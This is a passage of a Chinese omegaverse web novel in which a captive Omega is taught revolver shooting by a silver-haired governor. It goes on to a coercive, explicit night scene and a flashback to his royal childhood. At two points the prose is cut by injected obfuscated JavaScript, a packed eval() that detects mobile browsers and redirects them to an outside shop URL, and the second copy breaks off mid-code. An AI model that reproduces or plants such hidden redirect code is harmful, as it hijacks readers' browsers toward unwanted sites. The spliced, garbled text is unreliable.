珠宝、首饰、衣服,这些对她来说都是毫无用处的东西。 现在的她只想要两件东西,一个是连弛的自由,一个是她自己的自由。 她的发呆并未持续很长时间,围墙外有汽车发动机的声音传来。 很快,雕花栅栏门打开,一辆最新款的黑色小轿车驶入别墅,尤纪看到开车的人是安德烈。 这很不寻常。 这明明是他工作的时间。 艾尔比尤纪更加急切。 她催促着尤纪赶快起身,尤纪从后门进入楼中,避免让总督看到她的不体面。 尤纪双手撑着地,慢吞吞地从地上爬起来,顺手就把手上的脏污抹在裙子上。 她知道自己像一个从泥水里滚了一圈的村姑,但她不在乎。 尤纪推开门。 银发总督正坐在大厅的沙发上,皱着眉看着她的靠近。 “你简直——” 尤纪接过他的话:“我简直像个下水道里爬出来的肮脏老鼠。阁下想说的就是这句话,对不对?” 十几天来,她第一次放弃了伪装顺从,露出自己最真实的底色。 孤独和焦虑快要将她逼疯,桑雷斯不能要求一个疯掉的Omega顺从。 桑雷斯没有回答她,艾尔发挥了作为一个管家的作用,连忙劝告尤纪:“这样说真是太失礼了。” “无礼?我还可以更加失礼。” 尤纪拔高声音,紧紧盯着面前的银发总督,甚至直呼了他的名字。 “桑雷斯·贝德福,我要从这里出去!” 艾尔长长地叹了一口气。 尤纪的失礼意味着她的贵族礼仪教育还有很长一段路要走。 眼看就要有一场争端发生,艾尔只得离开。 桑雷斯·贝德福没有说话。 他平静地凝视着尤纪,过了半晌,将手里的雕花木盒打开。 红丝绒衬垫上躺着一把雕花柯尔特左-轮。 镀金枪管上雕刻藤蔓卷轴花纹,握把则是象牙质地,精美得不像一把武器,而是一件艺术品。 他将它取出来,递给尤纪:“你昨天说想要一把手-枪。” 尤纪没有接,只是瞪着他不说话。 她不记得昨天跟他提了什么要求了,毕竟以前她每次提出出门或者是见连弛,他都没有同意过。 桑雷斯继续说:“安德烈正在后院安装固定靶,从今天开始我教你用枪。等你能打出十发十环的时候,再谈出门的事情。” 尤纪愣住了。 这一刻起,她开始摸不清他的意图。 33. 临时标记? 十发十环。 这是神枪手才能做到的事。 桑雷斯是在为难她。 但这样虚无缥缈的目标,总比日复一日地将她关在别墅里好。 “在我教你之前,先去洗个澡。”桑雷斯将目光瞥过去,再也不愿多看她一眼。 尤纪定定地凝视了他半晌,最后才答道:“好的,我保证不会脏了您的眼睛。” 她难得兴致高昂,没有拒绝艾尔的靠近,连穿衣服都很配合。 等尤纪顶着一头湿漉漉的长发出现在桑雷斯面前时,他正独自坐在大厅的沙发上喝酒,看起来有些焦躁。 大白天饮酒?不太像他的风格。 放以前,尤纪并不会关注他的情绪如何,但今天的他实在是太不一样了。 到底发生了什么,会让这位铁血总督放下工作来找她? 仅仅是为了教她学枪这一件简单的事情? 尤纪不由得好奇起来。 见到尤纪过来,桑雷斯上下扫视了她一眼,没有再对她的穿着发出评价,只是一口饮尽了杯中酒。 “拿枪之前,必须牢记这四条不会改变的真理。”他抬步向后院走去,尤纪连忙跟上。 别墅曾是蒂亚国王的居所,后院很大,可以算个露天私人靶场,围墙上能看到密密麻麻的弹孔。 国王投降后,这座别墅成为了总督的私人房产,后院的靶子曾被全部拆除,如今又重新装回。 三个同心圆纸靶离在草坪中央,前两个前后相隔五米,后两个相隔十米。 “第一,永远假装任何一支枪都已经上膛。” 桑雷斯拿起那把雕花柯-尔-特手-枪,退出弹巢,六颗黄铜子弹躺在他的掌心。 “第二,枪口永远指向安全方向,只能指向你要射击的目标。” 他当着尤纪的面,一颗颗将子弹压进弹巢。 “第三,手指要放在扳机护圈外,只有在完成瞄准、决定射击的那一刻,食指才能触碰扳机。” 弹巢闭合时发出了一声“咔哒”。 “第四,不仅要看清目标,还要确保子弹穿透后不会误伤他人。” 尤纪没想到桑雷斯是真的在认真教他,她本以为这是他用来羞辱她的一个手段。 学习新技能的兴奋感顿时让她全神贯注。 “这是击锤,开枪之前,按下它。”戴着皮革手套的拇指按下枪身后方的凸起。 “我知道,你上次说过。” 桑雷斯侧头看了她一眼:“上次我没教完。” “但是我已经开过枪,”尤纪回视着他,“反抗军逼迫我在兰德尔面前杀了一个帝国人,作为加入他们的仪式。” “你说过。” “后来我跟着去审讯兰德尔,主动杀了一个关在囚牢里生不如死的Omega。他求着我杀了他。” 这是尤纪没有跟任何人说起的事情。 十几天来,她只跟他在床上有过交流。包括关于反抗军的一切,她都从未主动提起。 亲手结束别人的生命绝对是件痛苦的事情,但现在这些痛苦好像已经过去了。 被圈养在别墅中的平静生活,让她不得不回忆那些过去。 快乐、痛苦、兴奋、怀疑,一切的过往被反复咀嚼,期待着在沉闷的生活里激起哪怕一丝涟漪。 涟漪过后,仍是平静到令人发疯的生活。 雨已经停了,厚厚的云层之间漏出几缕光线,照在桑雷斯披散在肩头的银灰色长发上。 尤纪突然发现他的发色和兰德尔有着细微的差别。 兰德尔的发色要深一些,而他的发色更浅。 桑雷斯显然有些意外。他没想到尤纪会这样平静地谈起杀人。 他把枪交给尤纪,让她开一枪试试看。 尤纪握住枪后立刻熟练地按下击锤,开始瞄准:准星、缺口、靶心,三点一线。 她记得清楚极了。 瞄准之后,食指放到护圈内,扣动扳机。 “砰”的一声,后坐力震得她往后踉跄了一步。 子弹擦着枪靶边缘,击中后方的围墙。 “你的姿势不对。身体正对目标,双脚与肩同宽,膝盖微屈,重心放在前脚掌,上半身微微前倾。” 桑雷斯走上前来,一点点纠正她的站姿。 他将尤纪整个人圈在怀中,熟悉的苦艾味道将尤纪包裹起来,让她不由得后颈腺体刺痒,双腿发软。 桑雷斯察觉到了她身体的变化。 他并未后退,刻薄的话从他口中说了出来:“如果信息素就能影响你握-枪的手,那我还是建议你不要学枪。” 桑雷斯的激将法很好用。 尤纪的眼神里迸发出一丝类似于火光的东西,强烈的学习欲使得她整个人活过来了一般。 “我要学。”她咬着下唇,深吸一口气,竭力稳住心神。 专注。 专注。 专注。 慢慢地,信息素的影响正缓慢消散,透过准星看到的枪靶在她的瞳孔中放大。 “开枪。”桑雷斯说。 又是“砰”的一声。后坐力震得她要往后倒,但桑雷斯正在她的身后,及时阻止了她往后仰躺的姿势。 这一次没有脱靶,她击中了八环。 “你的手腕太紧了,”桑雷斯的大拇指按在她的手腕内侧,“放松。后坐力不是硬抗,你要让力量顺着你的手臂、肩膀流走到身体上。” 尤纪的额头上沁出细细密密的汗珠。 他靠得太近,体温透过皮革传递到她的手上,她能听到他呼吸时胸腔的起伏声音。 “再来。”他说。 尤纪强迫自己重新将注意力放在准星上。 桑雷斯的手指穿过扳机护圈,与她的食指重叠。 他的手指压着她,扣下扳机。 这一次,子弹击中了六环,比之前的两发都要好。 桑雷斯终于放开她。 “你自己来。” 尤纪屏住呼吸,将剩下的两枚子弹打出去,最后一发命中十环。 桑雷斯将靶纸取下来,拿到尤纪面前。 “看不出来,你还有成为神枪手的潜力。” 这分明是夸赞,但这样的一句好话从他口中说出来,就成了阴阳怪气的嘲讽。 尤纪并不在意。 相反地,她兴奋极了,心脏正猛烈地跳动。 她望向桑雷斯,露出一个真心诚意的笑容。 “感谢您,阁下,您让我发现了自己的射击天赋。” “我还可以再来一次吗?”她兴致勃勃地问他。 桑雷斯没有同意,他给她了一条皮质腰带,上面封着枪托,让她先从拔枪开始,用空枪练姿势。 “可我已经可以射中十环了!”尤纪并不满足。 她用手描摹着这张靶纸,准备以后将它装裱起来。 “巧合而已,”桑雷斯朝她泼了冷水,“只有天赋远远不够,要真正成为神枪手,必须勤加练习。” “空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17386366|197317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枪练习一百次。” “练完后,你如果有力气,再给你六枚子弹。” 他像一个严厉又刻薄的老师,督促着尤纪练习射击。 尤纪没有排斥。 她发现他是对的。 一百次的拔枪,一百次的装弹练习,一百次的站姿,一百次的握枪和一百次的扣下扳机。 这些练习让她的心脏平静,不会再因开枪而疯狂跳动。 这些动作像是刻到了她的肌肉里,一旦手指摸到枪把,就会立即拔枪、站立和瞄准。 雕花柯尔特很沉,一百次之后,她的手腕不再稳当,枪口开始晃动。 “好了,今天的教学到此为止。”桑雷斯转身往别墅走。 尤纪追上去,情急之下拉住他的手臂:“你说好练习一百次之后再给我六发子弹!” “你觉得你还有举枪射击的力气吗?你不过是个柔弱的Omega而已。” 他视线下移,看向他被握住的手臂。 “手放开。” “那你为什么要教我学枪?”尤纪没有放手。 这个问题从他送枪的那一刻就一直困惑着她。她太想从他口中得到一个答案。 “不是你想要的?”桑雷斯眉头下压,冰蓝色的眼珠子转动,看向尤纪,“还是说,你只想要一把枪用来收藏?” 尤纪立刻反驳他:“我想学的……” 桑雷斯极为不耐烦地打断了她的辩解:“想学就好好学,问那么多问题可以让你开枪更精准吗?” “偶尔一次命中十环就能让你沾沾自喜?你得记住,十发十环才能走出这里。” “好好跟露丝学贵族礼仪,要是再让我知道你做一些不淑女的事情,以后也没有必要学射击了。” 尤纪抿唇看着他。 他实在是太恶毒了,总是会在她开心的时候泼冷水,就好像打心底见不得她高兴。 “我不会感谢你。”她放手前只憋出了这句话。 她确实不会感谢他。 银发总督闻言,脚步一顿。 他回过头,冷笑着看向尤纪:“你的感谢很重要吗?” —— 你的感谢很重要吗? 对一位至高无上的掌权者来说,她的感谢确实不值一提。 蒂亚区总督的时间比任何人都要宝贵。 所以,他为什么要抽-出那么宝贵的时间,来教她这样一个不值一提的人来学枪? 这样的困惑一直持续到晚上十一点,桑雷斯躺在她身边的时候。 他的动作比之前任何一次都要大,苦艾信息素带着强烈的侵略意味,将她整个人抛上云层,又溺毙在海中。 尤纪她无法思考,只能凭借本能去承受。 每次这个时候都是她身体最难受的时候——他掠夺她,却又无法标记。 只会让她在渴-求和得不到的双重痛苦中沉沦。 但今天很不一样。 他居然噬咬着她的后颈,往她的后颈腺体内注入了一丝信息素! 那一丝信息素非常微弱,不出一小时就会在她的身体内代谢干净。 尤纪惊恐地逃离,但他的手掌箍着她的腰。 “你做了什么?你不是……你怎么会……”尤纪在喘-息中抓住他的手。 金色蕾丝网纱的床帐之间,银发总督撑起身体凝视着尤纪的脸。 “我试着往静脉里注射了一点伪结合素。”他沉沉地笑起来。 随后,铺天盖地的吻将尤纪淹没。 34. 你憎恨的是你自己 尤纪想过许多个桑雷斯必须将她关在这里的理由。 因为她哥的黑市交易? 但她哥的那点交易量在整个蒂亚区肯定不值一提,他没理由因此而强留住她。 因为他要保密?那他完全可以杀了他,毕竟兰德尔已经成功被救回了,只有死人才会保守秘密。 因为他那漫长难熬的易感期? 但他完全可以再挑选一个身世干净的、性格柔顺的Omega来当情人。他们不会像她那样不知好歹,还加入过反抗军。 排除所有的不可能,剩下的就算再不可能也成为了可能——他好像有点喜欢她。 除此之外,他没有别的理由注射伪结合素,只为了那一点微弱的标记。 毕竟那个东西有腐蚀性。 尤纪看着自己身边熟睡的Alpha,嘴角的笑容再也压不下来。 她又发现了他的一个秘密。 如果说混血是他身体上的秘密,那么他喜欢她这件事情就是他精神上的秘密。 一切事态都在往荒诞可笑的方向发展。 “怎么不睡?” 桑雷斯敏锐地察觉到了尤纪的动作,他伸长手臂,将她揽到怀里,亲昵地在她耳边说,“刚刚够了吗?你们这种以放-荡纵-欲著称的Omega如果发情会一直想好几天的吧?” “看来下次你不用打抑制剂了,我也不需要一直用抑制贴片。” 放在之前,尤纪会觉得他是故意说这样的话来恶心她。 但现在不一样了,她完全可以轻易地击碎他的假面。 事实上,她也确实这样做了。 她朝着他的胸膛靠了过去,依偎在他的怀里,脑子里整理自己接下来的措辞。 这个动作就像今天练习过一百次的拔-枪一样,在过去的半个月里形成了肌肉记忆,但这并不影响她的思考。 桑雷斯的确很享受这样被依靠的感觉。 他撩开尤纪的长发,黑色的皮革手套探到尤纪的后颈。 但下一秒,尤纪口中的话立刻瓦解了他的心理防线。 “桑雷斯。” 她喊了一声他的名字。 她的声音里还有着情-欲后的嘶哑,闷闷的,尾音有点上扬。 但她的话却化为利刃,一字一句切割他的心脏。 “你接受帝国的种族歧视教育,把自己当成是人类,缺乏对新人类的种族认同感。你担任着刽子手的角色,向自己的同族举起屠刀。” “每次上-床你都不会揭开抑制贴,哪怕那会延长你的易感期——因为你想以人类的方式来结合。” “你表现得像是一个极端种族主义者,但其实,你憎恨的是你自己吧?” “住嘴!”他冷声警告,“如果你再说下去……” 尤纪撑起身子,身影遮盖住夜灯的微弱光线。 桑雷斯看不清她的表情,但他可以察觉到她洞悉一切的眼神。 “我再说下去,你要对我做什么?杀了我?”她低低地笑了一下,“你舍不得,你只会在床上把我折磨得半死不活。” “桑雷斯,你侮辱我,折磨我,想尽办法让我怕你、恨你……你憎恶的不是我,而是你自己。” “你憎恨你身上流淌的新人类的血液,你憎恨这血液里动物一样无法控制的本能,你憎恨这漫长而煎熬的易感期。” “住嘴!”桑雷斯将尤纪推到床上,咬牙切齿地、恶狠狠地看着她。 她仰躺着,脸上毫无一丝恐惧,竟然在笑。 在顺从中发疯,或者消亡。 尤纪知道自己必须继续激怒他,否则她会被顺从雕刻成一座空洞的雕像。 她要撕开他伪装的强硬,撕开困住自己的金色囚笼——她太需要发泄了。 “你注射伪结合素,试图用那点微弱的气息标记我……你是想证明什么?” “你想证明你可以。你想证明就算是个残缺的混血儿,却依然可以对一个Omega行使Alpha的能力。” “所以,你为什么要证明这种可笑的东西?” 暴怒使得桑雷斯咬紧牙关,一把掐住她的脖子。 “住嘴!”他说了第三遍。 尤纪呼吸不畅,口中还在说着对他的审判词。 “因为你……喜欢我。” 他的手背上青筋暴露,手指越收越紧。 但她仍扯出笑容,学着他惯有的嘲讽语气。 “你憎恨这份无法控制的喜欢,你憎恨被一个贱民、一个新人类Omega吸引,这比无法标记更加耻辱。” “桑雷斯,你是个身体残缺的可怜虫,精神分裂的疯子。” 她毫不回避,挑衅地、轻蔑地,甚至是傲慢看向他的眼睛。 “桑雷斯,我说得对吗?” 银发总督没有回答她。 他简直像头被激怒的野兽,将尤纪整个人掀翻,脸压在枕头里,低头噬咬她的后颈。 他以为这样就可以让她住嘴,但她的话仍旧断断续续从空气中传来,通过耳膜的震动传到脑子里,一点一点切割他所剩无多的理智。 “……就那一点信息素,我一个小时……代谢干净……” 尤纪本以为她这样说,他就会放手,但她低估了一个疯子的掌控欲。 她无法呼吸,而桑雷斯将她的下-半-身钉在床上的同时,又伸手扳过她的头,强行与她接吻。 信息素的注入比她想象中要多一些,尽管可以很快代谢,但尤纪仍是无可避免地进入发-情期——帝国制造的抑制剂实在是太劣质了。 苦艾纠缠着莲花,两股信息素勾连、交织,最后融为一体。 …… 一直到太阳升起他们都还没有结束。 Omega成年后的第一次发情期来得猛烈,桑雷斯不得不再次注射伪结合素来满足她的纠缠。 药剂顺着血管流通四肢百骸,激活根植于Alpha血脉里的占有欲。 肉-体上的灼烧无法抵抗精神上的满足,银发总督开始以一种自己最憎恨、最鄙夷的兽性去占有,去掠夺。 到最后两个人都又痛苦又疲惫,桑雷斯搂着尤纪的肩膀,扭头看着窗帘缝隙里漏进来的光线。 他终于摘下那双一直佩戴着的黑色皮革手套,将手指插-进她的指缝里。 “你的猜测只有一部分是正确的。”他也不管她是否能听见,哑声在她耳边说,“我从来都不需要对新人类的种族认同感。” 因为他原本是人类。 —— 作为第二顺位继承人,桑雷斯·贝德福是按照标准的帝国皇室模版培养的。 他的教育受帝国最顶尖的学者和枢密院大臣负责,从三岁起,就学习帝国的历史。 帝国是如何从一个小王国扩张为大陆的最强帝国,帝国的主君又如何以绝对英明的决策使得整个国家飞速运转。 《高卢战记》、《战争论》等一系列的军事书籍从七岁时就加入他的授课方案,从战略、战术开始,到后勤补给,由曾经打赢无数场战争的帝国元帅亲自教导。 十二岁时,桑雷斯已经可以在沙盘上推演一场万人级别的会战。 政治课也是必不可少的。 直至今日,桑雷斯·贝德福都还记得宰相教他的第一句话:君主应当让人畏惧而非爱戴。 体能训练从未被拉下。每天清晨六点起床,教官监督他进行体能训练。 马术、剑术、射击、格斗。 帝国最顶尖的教练来教导一个几岁的孩子。 不过,令他们欣慰的是,这个孩子不但拥有绝佳的天赋,在学习时也很认真。 他在十岁时就可以一拳击碎陪练的鼻梁。 帝国的二殿下当然不会得到任何惩罚,他甚至没有道歉。 但那名倒霉的陪练在拿了一笔丰厚的补偿之后,永远离开了属于他的格斗场。 十岁时,桑雷斯第一次使用实弹射击。 他使用的是常用的柯尔特左-轮,第三天就可以在二十五米以外射-出十发十环的成绩。 教练夸他天赋异禀,帝国主君知道后,亲自送了他一把雕花的柯尔特左-轮。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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年纪最小的他并不被寄予继承帝国的期待,所以他从小就有选择的权力。 他可以逃掉无聊的历史课,可以在军事课上昏昏欲睡,也可以在主君和王后面前撒娇,揪着主君的胡子咯咯笑,故意打碎王后最珍爱的瓷器。 这当然会得到惩罚,但这些惩罚总是轻飘飘地带过。 主君会在惩罚之后给予更多的补偿,依次来抚慰幼子受伤的心。 王后则会厉声训斥他,像一个真正教导孩子的母亲。 帝国的王后只在自己幼子面前表露过严厉的一面。 不管是面对桑雷斯还是赛琳娜,她从来都是温柔而平和,是一个完完全全的帝国淑女的样子。 在第一次看到王后训斥兰德尔时,桑雷斯惊讶极了。 但随之而来的,又是一些说不清的情绪,沉甸甸的。 后来他才知道这种情绪叫孤独。 他开始羡慕兰德尔。 兰德尔称呼主君为父亲,称呼王后为母亲——这是桑雷斯和赛琳娜都不被允许的称呼。 兰德尔就像一个普通家庭中的孩子一样长大,他会大哭,会大笑,闯祸了会找哥哥姐姐帮忙。 而这种时候,桑雷斯和赛琳娜都会默契地放下对彼此的敌意,假装扮演关爱幼弟的哥哥姐姐。 他们从不会嫉妒兰德尔,因为他们都知道兰德尔毫无威胁性,是他们的愚蠢的弟弟。 十五岁之前,桑雷斯最大的对手是赛琳娜。 十五岁之后,桑雷斯的对手不再是赛琳娜。 他还记得那是个太阳很温柔的下午,主君告诉他,他需要参加一个关于太阳辐射的人-体-实-验。 王后不仅是帝国主君的妻子,还是帝国生命科学研究院的研究员。 在长达快二十年的研究生涯中,王后主导的科研项目只有一个——太阳辐射对人类基因突变的定向研究。 桑雷斯知道这个实验。 他不知道为什么一向歧视新人类的帝国会研究这种东西。 在他所受到的教育里,新人类是低级的、像野兽一样无法控制欲-望的低等种族,是浪费资源的贱民,是人类需要消灭的敌人。 但他没想到这个实验会用在自己的身上。 桑雷斯没有反抗,因为长达十五年的皇室继承人身份告诉他,他只能顺从。